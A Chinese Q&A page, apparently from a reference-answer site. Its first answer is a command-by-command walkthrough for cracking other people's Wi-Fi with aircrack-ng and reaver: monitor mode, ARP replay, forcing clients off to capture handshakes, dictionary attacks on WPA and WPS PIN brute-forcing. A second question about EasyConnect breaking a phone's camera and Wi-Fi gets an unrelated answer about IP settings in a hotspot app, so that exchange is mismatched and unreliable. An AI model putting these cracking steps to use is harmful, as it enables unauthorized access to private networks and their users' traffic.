wify共享精灵是否用的穷举法将简单的wify密码穷举出来,然后连接的？

Posted 2023-04-28

参考技术A 目前的wi-fi破解核心工具有两个，aircrack-ng与reaver-wps，前者是wi-fi破解工具的一个集合，上面说到的WEP与WPA加密方式的破解由它来实现，后者是WPS破解方式的（pin破）实现。下面用实例说明：
WEP破解过程：
airodump-ng mon0
airmon-ng用来虚拟一个无线网卡，这样可以将一张无线网卡同时做不同的用途。
airodump-ng –ivs –channel 9 –bssid 1C:7E:E5:xx:xx:xx -w aprcapture mon0
airodump 抓取指定的bssid AP的数据包，并保存在一个文件里。
aireplay-ng -3 -b 1C:7E:E5:xx:xx:xx -h 0C:60:76:xx:xx:xx mon0
这行命令是在airodump执行的同时执行，它以模式“3”（ARP请求代理）从源MAC地址向目的MAC地址发送ARP请求。目的就是获得AP返回的ARP响应。
aircrack-ng aprcapture-01.ivs
aircrack-ng分析捕获的ivs数据包，分析出密码。
WPA破解过程：
airodump-ng -c 9 –bssid xx:xx:xx:xx:xx:xx -w psk mon0
同样，需要airodump-ng抓包
aireplay-ng -0 1 -a F4:EC:xx:xx:xx:xx -c 5C:AC:xx:xx:xx:xx mon0
用aireplay的“0”模式（攻击模式，模拟目标客户端向AP发送重连请求，从而会使目标客户端断开连接），借以捕获握手包。
aircrack-ng -w pswd.dict -b xx:xx:xx:xx:xx:xx psk*.cap
用aircrack-ng加载一个字典，用这个字典跑出明文密码，若密码不在字典中，破解将各失败。
WPS破解（pin破）过程：
reaver -i mon0 -b 40:16:xx:xx:xx:xx -a -S -s 4016xxxxxxxx.wpc -v
pin破原理也很简单，就是枚举所有pin值。但由于受制于无线路由器的硬件（内存、CPU），pin破的过程很可能非常缓慢。但由于pin值的确定性，这种破解方式获得密码的概率要高于WPA方式。
3种方式对比：
1. 若是WEP加密，毫无悬念，没什么破解的阻力。
破解难易程度：★
2. 若有WPS连接方式，只要功夫深，铁杵磨成针，最终还是能得到密码的。
破解难易程度：★★
3. 若是WPA加密，那就看运气了，抓包，跑字典，1234什么的密码就是撞大运了。
破解难易程度：★★★追问

回答的很专业啊，我认为的破解方式应该接近WPA吧，能具体解释一下
“用aircrack-ng加载一个字典，用这个字典跑出明文密码，若密码不在字典中，破解将各失败”
这句话吗？

追答

Aircrack-ng是一款用于破解无线802.11WEP及WPA-PSK加密的工具，字典是已经存储好的密码列举，然后一个个试

我单位统一使用的手机上面下载了easyconnect之后我拍照和wifi功能都用不了

参考技术A 我这里出现的问题是因为ip地址不相符，所以解决办法如下。我电脑用的是共享精灵设置的wifi，这个用起来非常简单，打开工共享精灵，看看发射的出来的wifi信号的ip地址这时候为192.168.23.2。
这时候进入手机界面的设置选项，点击：“设置”
进入手机设置之后，点击含有wifi这个选项，即点击wlan设置。
点击进入后，我们看到显示wifi已经连接，但是这个是不能上网的。在这个界面中，我们点击wifi。
这时候出现了wifi的相关信息。可以看到ip地址192.168.23.3
这时候我们清楚了，是两个ip地址不相符造成的，这种动态ip自动分配有时候就出这样的问题。所以我们返回到电脑wifi设置界面，将ip更改一下。点击共享精灵“成功”，关闭一下共享精灵。
然后点击“网络参数”，将ip更改为与手机的192.168.23.3，然后点击“启动”。
这时候打开手机的浏览器或者是其他联网的程序，可以发现，手机能够上网了。